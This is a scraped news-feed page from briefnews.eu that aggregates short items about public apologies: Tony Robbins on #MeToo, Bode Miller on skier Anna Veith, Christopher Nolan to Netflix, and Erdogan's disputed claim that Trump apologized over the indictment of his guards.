World-renowned performance coach Tony Robbins has apologized for remarks he made in March, about how women use the #MeToo movement to “get significance.”

Robbins posted the apology on Facebook and linked to the statement on Twitter. It read, in part: “I apologize for suggesting anything other than my profound admiration for the #MeToo movement. Let me clearly say, I agree with the goals of the #MeToo movement and its founding message of  ’empowerment through empathy,’  which makes it a beautiful force for good.”

See the rest of the story at Business Insider

NOW WATCH: Leslie Odom, Jr.’s $ 500,000 gamble that led to ‘Hamilton’

See Also:

SEE ALSO: A day in the life of Tony Robbins, who sleeps 3 hours a night before waking up to an ‘adrenal support cocktail’ and a plunge into freezing water

]]>
https://briefnews.eu/tony-robbins-has-apologized-for-saying-women-use-the-metoo-movement-to-get-significance-and-certainty-by-attacking-and-destroying-someone-else/feed/ 0
Bode Miller apologized for blaming a skier’s decline on her decision to get married https://briefnews.eu/bode-miller-apologized-for-blaming-a-skiers-decline-on-her-decision-to-get-married/ https://briefnews.eu/bode-miller-apologized-for-blaming-a-skiers-decline-on-her-decision-to-get-married/#respond Thu, 15 Feb 2018 03:31:31 +0000 http://briefnews.eu/bode-miller-apologized-for-blaming-a-skiers-decline-on-her-decision-to-get-married/ Morgan Beck and Bode MillerGustavo Caballero/Getty Images for Churchill Downs

  • Bode Miller said that Anna Veith’s struggles could be due to her decision to get married.
  • Miller’s comments came under fire in social media circles.
  • Miller later apologized and called the comment “an ill-advised attempt at a joke.”

The bad boy of skiing is in trouble at the Olympics again.

Bode Miller, the 6-time Olympic medalist, is under fire for comments he made as a commenter for NBC Sports during the Ladies’ giant slalom about former Olympic champion Anna Veith of Austria.

See the rest of the story at Business Insider

NOW WATCH: No one wants to host the Olympics anymore — will they go away?

See Also:

SEE ALSO: The 25 best photos of the Winter Olympics so far

DON’T MISS: The rest of our Winter Olympics coverage

]]>
https://briefnews.eu/bode-miller-apologized-for-blaming-a-skiers-decline-on-her-decision-to-get-married/feed/ 0
Zoella Has Apologized After A Number Of Offensive Old Tweets Went Viral https://briefnews.eu/zoella-has-apologized-after-a-number-of-offensive-old-tweets-went-viral/ https://briefnews.eu/zoella-has-apologized-after-a-number-of-offensive-old-tweets-went-viral/#respond Wed, 15 Nov 2017 14:08:24 +0000 http://briefnews.eu/zoella-has-apologized-after-a-number-of-offensive-old-tweets-went-viral/ [unable to retrieve full-text content]

“I’m only human!”


View Entire Post ›

BuzzFeed – Latest

]]>
https://briefnews.eu/zoella-has-apologized-after-a-number-of-offensive-old-tweets-went-viral/feed/ 0
Christopher Nolan privately apologized to Netflix after calling its movie strategy ‘mindless’ https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/ https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/#respond Tue, 07 Nov 2017 18:11:39 +0000 http://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/ christopher nolan interstellar filmingParamount

  • Christopher Nolan apologized to Netflix’s head of content Ted Sarandos after calling Netflix’s movie strategy “mindless.”
  • Netflix has clashed with many movie traditionalists over its release strategy.
  • Netflix will release 80 new movies in 2018.

Director Christopher Nolan revealed that he wrote Netflix’s chief content officer Ted Sarandos an apology after calling Netflix’s movie strategy “mindless,” in an interview with Variety.

“I should have been more polite,” Nolan said. “I said what I believe, but I was undiplomatic in the way I expressed it. I wasn’t giving any context to the frankly revolutionary nature of what Netflix has done. It’s extraordinary. They need appropriate respect for that, which I have.”

In July, the director heavily criticized the streaming company’s movie strategy and its resistance to the theatrical window, during an interview with IndieWire, and even accused Netflix of trying to shut down theaters.

“I think the investment that Netflix is putting into interesting filmmakers and interesting projects would be more admirable if it weren’t being used as some kind of bizarre leverage against shutting down theaters,” Nolan said at the time. “It’s so pointless. I don’t really get it.”

But Nolan isn’t the only one that’s criticized Netflix’s strategy: Netflix has clashed with the theater industry thanks in large part to its release strategy.

Netflix releases its films both in theaters and on its site simultaneously, without waiting the traditional 90-day theatrical window. This stands in contrast to the theater-friendly policy of Amazon, which respects the traditional window. As a result, Netflix has been blacklisted from releasing its films in most major theater chains.

Netflix achieved a major film milestone this year when two of its films — “Okja” and “The Meyerowitz Stories” — were admitted into the Festival de Cannes. But criticism from the old guard prompted the festival to add a new rule dictating that any films that wished to be included in the festival next year would have to have a theatrical release in France.

In a Facebook post, Netflix CEO Reed Hastings responded to the festival’s ruling saying that he felt theater chains were trying to “block” Netflix from entering the “festival competition.”

Despite criticisms of Netflix’s methods, the streaming giant seems to be moving onward and upward, and is planning on releasing 80 films in 2018, according to Variety.

NOW WATCH: 10 things you missed in the new ‘Star Wars: The Last Jedi’ trailer

Feedburner

]]>
https://briefnews.eu/christopher-nolan-privately-apologized-to-netflix-after-calling-its-movie-strategy-mindless/feed/ 0
Trump apologized for indictment of Turkish staff in brawl – Erdogan https://briefnews.eu/trump-apologized-for-indictment-of-turkish-staff-in-brawl-erdogan/ https://briefnews.eu/trump-apologized-for-indictment-of-turkish-staff-in-brawl-erdogan/#respond Wed, 20 Sep 2017 12:15:04 +0000 http://briefnews.eu/trump-apologized-for-indictment-of-turkish-staff-in-brawl-erdogan/ Turkish President Recep Tayyip Erdogan says Donald Trump apologized after charges were filed against Turkish security personnel for attacking peaceful protesters in Washington DC. However, a White House spokesperson says no apology was ever made.

Speaking to PBS NewsHour, Erdogan said that “President Trump called me about a week ago about this issue. 

“He said that he was sorry, and he told me that he was going to follow up on this issue when we come to the United States within the framework of an official visit.”

Read more

Turkish President Recep Tayyip Erdogan © Wolfgang Rattay

Erdogan was referring to 15 Turkish security officials who were indicted by a US grand jury for attacking peaceful pro-Kurdish protesters in May. The incident took place outside the house of the Turkish ambassador to the US, where Erdogan was staying during a visit to Washington DC. 

However, the Turkish leader said the protesters weren’t actually peaceful, but were “insulting us, and they were screaming and shouting.” 

“The police failed to intervene properly. And similar protests were seen around the White House as well when we were inside of the embassy residence. The protesters were very close to my car, to my vehicle.”

He went on to accuse the protesters of being PKK (Kurdistan Workers’ Party) and FETO (Fetullah Terrorist Organization) “terrorists.”

Erdogan said that although the US police officers were “officers of the state, not the federal government,” they were “in charge of maintaining safety around me and security. They failed to do that.”

At that moment, according to Erdogan, his security guards “came to his aid” and “made sure that everything was safe and secure” around him.

Erdogan, who is currently in New York for the annual UN General Assembly gathering, said he will be meeting with Trump on Thursday to “talk about these developments in a very extensive fashion.

Read more

© Reuters

“I hope and pray that justice will be served as soon as possible, because I know that the United States is very sensitive in terms of judiciary and in terms of the rule of law and the legal aspects,” he said.

Meanwhile, a White House official has spoken out against Erdogan’s claim of a Trump apology, telling CNBC that the two leaders “discussed a wide range of issues but there was no apology.” 

Erdogan’s recollection of the event is far from what the District of Columbia Attorney’s Office said in a statement at the time, noting that the defendants “were indicted on a charge of conspiracy to commit a crime of violence, with a bias crime enhancement.”

Video footage circulated after the brawl showed men in suits viciously attacking the protesters, pushing them to the ground, and kicking some of them in the head.

The incident also led the US to pull out of a major arms deal with Turkey on Monday, which would have seen Ankara purchase $ 1.2 million in weapons for presidential security guards, including hundreds of semi-automatic handguns and ammunition. 

Washington’s withdrawal from the deal prompted Erdogan to slam the US for choosing to instead “give weapons to terrorists,” referring to its decision to arm Syrian Kurds – a move which the White House believes is essential to seizing the last major Islamic State (IS, formerly ISIS/ISIL) stronghold of Raqqa.

Let’s block ads! (Why?)

RT – Daily news

]]>
https://briefnews.eu/trump-apologized-for-indictment-of-turkish-staff-in-brawl-erdogan/feed/ 0